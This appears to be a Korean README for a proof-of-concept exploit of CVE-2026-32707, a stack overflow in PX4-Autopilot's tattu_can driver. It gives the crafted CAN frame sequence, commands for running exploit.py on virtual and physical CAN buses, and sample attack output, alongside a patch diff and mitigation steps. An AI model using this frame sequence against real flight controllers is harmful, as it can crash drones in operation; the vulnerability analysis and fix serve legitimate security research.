
CVE-2026-32707에 대한 개념 증명 익스플로잇으로, PX4-Autopilot tattu_can 드라이버의 스택 버퍼 오버플로우를 이용하여 조작된 CAN 프레임을 통해 서비스 거부(DoS)를 유발합니다.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
이 저장소는 PX4-Autopilot 비행 컨트롤러 펌웨어(버전 ≤ 1.17.0-rc1)의 tattu_can 드라이버에서 발생하는 CVE-2026-32707에 대한 개념 증명(PoC) 익스플로잇을 포함합니다. 이 취약점은 다중 프레임 메시지 조립 루틴에 존재합니다. 스택에서 Tattu12SBatteryMessage 구조체를 재조립할 때, 드라이버는 누적 오프셋을 버퍼 크기(48바이트)와 비교하지 않고 무제한 memcpy() 작업을 수행합니다. 동일한 버스에 CAN 프레임을 주입할 수 있는 공격자는 오버플로우를 트리거하여 스택 손상 및 이후 PX4 프로세스의 충돌(서비스 거부)을 유발할 수 있습니다.
sequenceDiagram
participant Attacker as Attacker (CAN Node)
participant CANbus as CAN Bus
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Start frame (DLC=8, data[7]=0x80)
CANbus->>PX4: Start-of-transfer received
PX4->>PX4: tattu_message buffer (48 bytes)<br/>Copy offset=5 bytes
loop Overflow frames (7x)
Attacker->>CANbus: Overflow frame (DLC=8, payload 7 bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Final overflow frame (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → STACK OVERFLOW
PX4-->>PX4: Crash (segfault / hard fault)
Note over PX4: Denial of Service
tattu_can 드라이버가 활성화된 PX4-Autopilot 버전 ≤ 1.17.0-rc13f04b7a)python-can 라이브러리가 포함된 Python 3CAP_NET_RAW)can0 또는 가상 vcan0)# 저장소 클론
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# python-can 설치
pip3 install python-can
# (선택 사항) 테스트용 가상 CAN 인터페이스 생성
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <can_interface>
# 가상 CAN 인터페이스를 통한 익스플로잇 (시뮬레이션/테스트용)
sudo python3 exploit.py vcan0
# 물리적 CAN 버스를 통한 익스플로잇
sudo python3 exploit.py can0
0x80으로 설정되어, 드라이버가 새 Tattu12SBatteryMessage 조립을 시작하고 처음 5바이트를 스택 버퍼에 복사하도록 신호를 보냅니다.memcpy()를 트리거하여 스택 프레임을 손상시킵니다.[*] Sending start-of-transfer frame on vcan0 (can_id=0x00000123)
[*] Sending 7 overflow frames (each copies 7 bytes)...
[*] Sending final overflow frame...
[+] Attack sequence completed. The PX4 tattu_can driver should now crash.
tattu_can 드라이버를 비활성화하세요 (tattu_can stop 또는 빌드에서 제거).3f04b7a에 추가된 경계 검사를 수동으로 패치하세요:while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
이 개념 증명은 교육 및 보안 테스트 목적으로만 제공됩니다. 소유한 시스템이나 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하세요. 작성자는 이 코드의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.